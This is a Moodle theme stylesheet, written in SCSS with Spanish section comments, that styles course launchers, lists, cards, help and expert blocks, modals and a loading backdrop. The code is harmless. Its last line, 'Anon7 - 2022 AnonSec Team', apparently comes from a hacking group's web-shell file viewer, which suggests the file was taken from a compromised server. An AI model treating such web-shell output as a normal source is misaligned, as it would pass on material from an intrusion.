    left: 0;
    height: 100%;
    width: 100%;
}


/*-- Lanzador primario --*/

.primaryLauncher {
    position: relative;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    height: 100%;
    background-color: #25294f;
    border-radius: 10px;
    padding: 30px 15px;
    z-index: 1;
    overflow: hidden;
}

.primaryLauncher::before {
    content: "";
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background-image: url([[pix:theme|courses/pattern]]);
    opacity: .25;
    z-index: -1;
}

.primaryLauncher__icon {
    width: 80px;
    max-width: 100%;
    margin-bottom: 15px;
}

.primaryLauncher__text {
    color: #fff;
    font-size: 1.1rem;
    text-align: center;
}

.primaryLauncher__button {
    margin-top: 15px;
}


/*=== LISTA TÉCNICA ===*/

.presentationTechnicalListSection {
    margin-bottom: 1.5rem;
}

.course-content li.section ul.presentationTechnicalListSection__list {
    column-count: 2;
    list-style: none;
    padding-left: 0;
}

@media (max-width: 767px) {
    .presentationTechnicalListSection__list {
        column-count: 1;
    }
}

.presentationTechnicalListSection__item {
    position: relative;
    padding-left: 1.9rem;
    margin-left: 5px;
    margin-bottom: .7em;
}

.presentationTechnicalListSection__item::before {
    content: "";
    position: absolute;
    top: .1em;
    left: 0;
    display: inline-block;
    width: 1.5rem;
    height: 1.1rem;
    background-size: contain;
    background-position: center;
    background-repeat: no-repeat;
}

.presentationTechnicalListSection__item--po::before {
    background-image: url([[pix:theme|courses/users-solid]]);
}

.presentationTechnicalListSection__item--mo::before {
    background-image: url([[pix:theme|courses/laptop-solid]]);
}

.presentationTechnicalListSection__item--ce::before {
    background-image: url([[pix:theme|courses/certificate-solid]]);
}

.presentationTechnicalListSection__item--du::before {
    background-image: url([[pix:theme|courses/clock-regular]]);
}

.presentationTechnicalListSection__item--pl::before {
    background-image: url([[pix:theme|courses/calendar-alt-regular]]);
}

.presentationTechnicalListSection__subTitle {
    color: #25294f;
}


/*=== CONTENIDO ===*/

.presentationContent {
    margin-bottom: 1.5rem;
}

.presentationContent__title {
    font-size: 1.4rem;
}

.course-content li.section ul.presentationContent__list {
    list-style: none !important;
    padding-left: 0;
}

.presentationContent__list li {
    margin-bottom: .5rem;
    position: relative;
    padding-left: 1.2rem;
}

.presentationContent__list li::before {
    position: absolute;
    top: 0.45em;
    left: .3rem;
    content: "";
    display: inline-block;
    background-color: #edca86;
    width: 0.5rem;
    height: .5rem;
    border-radius: 50%;
}


/*=== TARJETAS ===*/

.presentationContent__gridCard {
    display: grid;
    grid-template-columns: repeat(2, 1fr);
    gap: 15px;
}

@media (max-width: 767px) {
    .presentationContent__gridCard {
        grid-template-columns: 1fr;
    }
}

.presentationContent__card {
    border: 3px solid hsl(0, 0%, 94%);
    border-radius: 10px;
    padding: 10px;
}

.color--primary {
    color: #25294f;
}

.presentationContent__listOl {
    counter-reset: listNumber;
    list-style: none;
    padding-left: 0;
}

.presentationContent__listOl li {
    margin-bottom: .5rem;
}

.presentationContent__listOl li::before {
    counter-increment: listNumber;
    content: counter(listNumber) ".";
    display: inline-block;
    color: #edca86;
    font-weight: $font-weight-title;
    margin-right: 4px;
}


/*=== VARIACIÓN LANZADORES ===*/

.gridLauncher {
    display: grid;
    grid-template-columns: repeat(3, 1fr);
    gap: 15px;
}

@media (max-width: 960px) {
    .gridLauncher {
        grid-template-columns: 1fr;
    }
}

.primaryLauncher {
    transform: scale(1);
    transition: transform .3s;
}

.primaryLauncher:hover {
    transform: scale(1.05);
    cursor: pointer;
}

.primaryLauncher:active {
    transform: scale(1);
}

.primaryLauncher--gray {
    background-color: #f2f2f2;
}

.primaryLauncher.primaryLauncher--gray::before {
    opacity: .05;
}

.primaryLauncher--gray .primaryLauncher__text {
    color: #22284f;
}

.certificateLauncherGrid {
    display: grid;
    grid-template-columns: repeat(2, 1fr);
    gap: 15px;
}

@media (max-width: 991px) {
    .certificateLauncherGrid {
        grid-template-columns: 1fr;
    }
}

.certificateLauncher {
    display: flex;
    align-items: center;
    position: relative;
    background-color: #f2f2f2;
    border-radius: 10px;
    padding: 30px 20px;
    z-index: 1;
    overflow: hidden;
    min-height: 210px;
    transform: scale(1);
    transition: transform .3s;
}

.certificateLauncher:hover {
    cursor: pointer;
    transform: scale(1.04);
}

.certificateLauncher:active {
    transform: scale(1);
}

.certificateLauncher::before,
.certificateLauncher::after {
    content: "";
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
}

.certificateLauncher::before {
    background-image: url([[pix:theme|courses/pattern]]);
    opacity: .05;
    z-index: -1;
}

.certificateLauncher::after {
    background-image: url([[pix:theme|courses/certificate]]);
    background-repeat: no-repeat;
    background-size: 44% auto;
    background-position: right bottom;
    z-index: -1;
}

.certificateLauncher--masterHerramienta::after {
    background-image: url([[pix:theme|courses/master-herramienta]]);
}

.certificateLauncher__text {
    font-size: 1.2rem;
    font-weight: $font-weight-title;
    color: #22284f;
}


/*------------------------------------
   ?MY OVERVIEW
------------------------------------*/
.block_myoverview .dashboard-card-deck .dashboard-card,
.block_recentlyaccesseditems .dashboard-card-deck .dashboard-card {
    @media (max-width: 960px) {
        width: calc(50% - .5rem);
    }

    @media (max-width: 590px) {
        width: calc(100% - .5rem);
    }
}







/*------------------------------------
   ?AGILESSON AJUSTES PARA IMASTER
------------------------------------*/

#scorm_layout {
    margin-bottom: 0;
}

#page-mod-scorm-player #scormpage #scorm_object {
    height: 100%;
    width: 100%;
}

.path-course .region-main-content#region-main {
    overflow: initial;
}


/*------------------------------------
   ?BLOQUE NECESITAS AYUDA
------------------------------------*/

.imaster-help {
    display: flex;
    flex-wrap: wrap;
    align-items: center;
    width: 100%;
}

.imaster-help__content {
    max-width: calc(100% - 35%);
    width: 100%;
    text-align: center;
}

.imaster-help__contentTitle {
    font-size: .9rem !important;
    color: $marca-color1;
    margin-bottom: 1rem;
}

.imaster-help__contentButton {
    font-family: $font-family-title;
    background-color: $marca-color2;
    border: 1px solid $marca-color2;
    border-radius: 6px;
    font-size: .9rem;
    font-weight: $font-weight-title;
    color: $marca-color1;
    padding: 7.5px 15px;
    text-decoration: none;
    display: block;
    cursor: pointer;
    margin: 0 auto 20px;
    transition: all .3s;
}

.imaster-help__contentButton:hover {
    background-color: $btn-secondary-bgColor--hover;
    border: 1px solid $btn-secondary-bgColor--hover;
}

.imaster-help__icon {
    max-width: 35%;
    width: 100%;
    padding-left: 10px;
}

.imaster-help__img {
    margin: 0;
    max-width: 80px !important;
    width: 100%;
}


/*------------------------------------
   ?BLOQUE COMPAÑEROS
------------------------------------*/

.participante {
    list-style: none;
    display: inline-block;
    margin: 3px;
}

.participante img {
    border-radius: 50%;
    border: 3px solid $marca-color2;
}


/*------------------------------------
   ?BLOQUE EXPERTO
------------------------------------*/

.imaster-expert {
    width: 100%;
    display: flex;
    flex-direction: column;
    justify-content: center;
    align-items: center;
}

.imaster-expert__img {
    display: block;
    margin: 0 auto 15px;
    border-radius: 50%;
    border: 4px solid $marca-color2;
}

.imaster-expert__content {
    text-align: center;
}

.imaster-expert__contentName {
    font-size: 1.1rem;
}

.imaster-expert__contentExtract {
    font-size: 0.8rem;
}

.imaster-expert__social {
    display: flex;
    justify-content: center;
    align-items: flex-end;
}

.imaster-expert__social a {
    width: 100%;
    display: flex;
    max-width: 26px;
    margin: 0 15px;
}

.imaster-expert__socialImg {
    width: 100%;
    transform: scale(1);
    transition: transform 0.3s;
}

.imaster-expert__socialImg:hover {
    transform: scale(1.1);
}


/*------------------------------------
    ?MODAL Escuela Didactica
 ------------------------------------*/

.escuelaDidacticaModal {
    z-index: 999;
    background-color: rgba(0, 0, 0, 0);
    padding: 15px;
    position: fixed;
    top: 0;
    bottom: 0;
    left: 0;
    right: 0;
    overflow: auto;
    visibility: hidden;
    opacity: 0;
}

.escuelaDidacticaModal--active {
    visibility: visible;
    opacity: 1;
    background-color: rgba(0, 0, 0, 0.3);
    transition: background-color .4s;
}

.escuelaDidacticaModal--active .escuelaDidacticaModal__content {
    opacity: 1;
    transform: translateY(0);
}

.escuelaDidacticaModal__background {
    position: absolute;
    top: 0;
    bottom: 0;
    right: 0;
    left: 0;
}

.escuelaDidacticaModal__container {
    max-width: 1000px;
    width: 100%;
    min-height: calc(100% - 80px);
    height: 100%;
    display: flex;
    align-items: center;
    margin: 0 auto;
}

.escuelaDidacticaModal__content {
    width: 100%;
    min-height: 30px;
    height: 100%;
    max-height: calc(100vh - 80px);
    background-color: #fff;
    border-radius: 10px;
    box-shadow: 0 3px 5px hsla(0, 0%, 0%, .2);
    opacity: 0;
    transition: transform .6s, opacity .6s;
    transform: translateY(-100px);
    border: 7px solid $primary;
}

.escuelaDidacticaModal__header {
    display: flex;
    justify-content: flex-end;
    padding: 15px 15px 5px;
}

.escuelaDidacticaModal__close {
    position: absolute;
    right: -20px;
    top: -20px;
    border: 0;
    display: inline-flex;
    justify-content: center;
    align-items: center;
    width: 30px;
    height: 30px;
    background-color: $primary;
    border-radius: 50%;
    transition: background-color .3s;
    z-index: 9;
    transition: all .3s;
}

.escuelaDidacticaModal__close:hover {
    cursor: pointer;
    transform: scale(1.1);
}

.escuelaDidacticaModal__closeIcon {
    width: 80%;
}

.escuelaDidacticaModal__closeIcon path {
    fill: #fff;
}

.escuelaDidacticaModal__body {
    padding: 5px 30px 15px;
}

.escuelaDidacticaModal__body .escuelaDidacticaModal__iframe {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
}


/*------------------------------------
   ?BACKDROP Escuela Didactica
------------------------------------*/

.escuelaDidacticaBackdrop {
    position: fixed;
    top: 1.5vh;
    left: calc(-100% - 20px);
    width: 98vw;
    height: 97vh;
    background-color: $white;
    // overflow: hidden;
    z-index: 9999;
    transition: left .6s;
    border: 5px solid $brand-color4;
    border-radius: 10px;
    box-shadow: 0 0 50px 10px rgba(0, 0, 0, .5);
}

.escuelaDidacticaBackdrop--in {
    left: 1vw;
}

.escuelaDidacticaBackdrop__close {
    height: 30px;
    width: 30px;
    position: absolute;
    top: -10px;
    right: -10px;
    border: none;
    border-radius: 50%;
    padding-bottom: 2px;
    background-color: $primary;
    box-shadow: 0 0 3px hsla(0, 0%, 0%, .2);
    display: flex;
    justify-content: center;
    align-items: center;
    transform: scale(1);
    z-index: 9;
    transition: transform .3s;
}

.escuelaDidacticaBackdrop__close:hover {
    cursor: pointer;
    transform: scale(1.1);
}

.escuelaDidacticaBackdrop__closeIcon {
    width: 77%;
}

.escuelaDidacticaBackdrop__closeIcon path {
    fill: $white;
}

.escuelaDidacticaBackdrop__iframe {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
}

.escuelaDidacticaBackdrop__preload {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background-color: $white;
    overflow: hidden;
    z-index: 8;
}

@keyframes preloadInvisible {
    0% {
        opacity: 1;
    }

    99% {
        opacity: 0;
        height: 100%;
    }

    100% {
        opacity: 1;
        height: 0;
    }
}

.escuelaDidacticaBackdrop__preload--invisible {
    animation: preloadInvisible .6s forwards;
}

@keyframes loading {
    0% {
        transform: translate(-50%, -50%) rotate(0deg);
    }

    100% {
        transform: translate(-50%, -50%) rotate(360deg);
    }
}

.escuelaDidacticaBackdrop__preloadIcon {
    position: absolute;
    top: 50%;
    left: 50%;
    width: 50px;
    transform: translate(-50%, -50%);
    animation: loading 0.9s infinite;
}

.escuelaDidacticaBackdrop__preloadIcon path {
    fill: $grayBackgroud;
}

Anon7 - 2022
AnonSec Team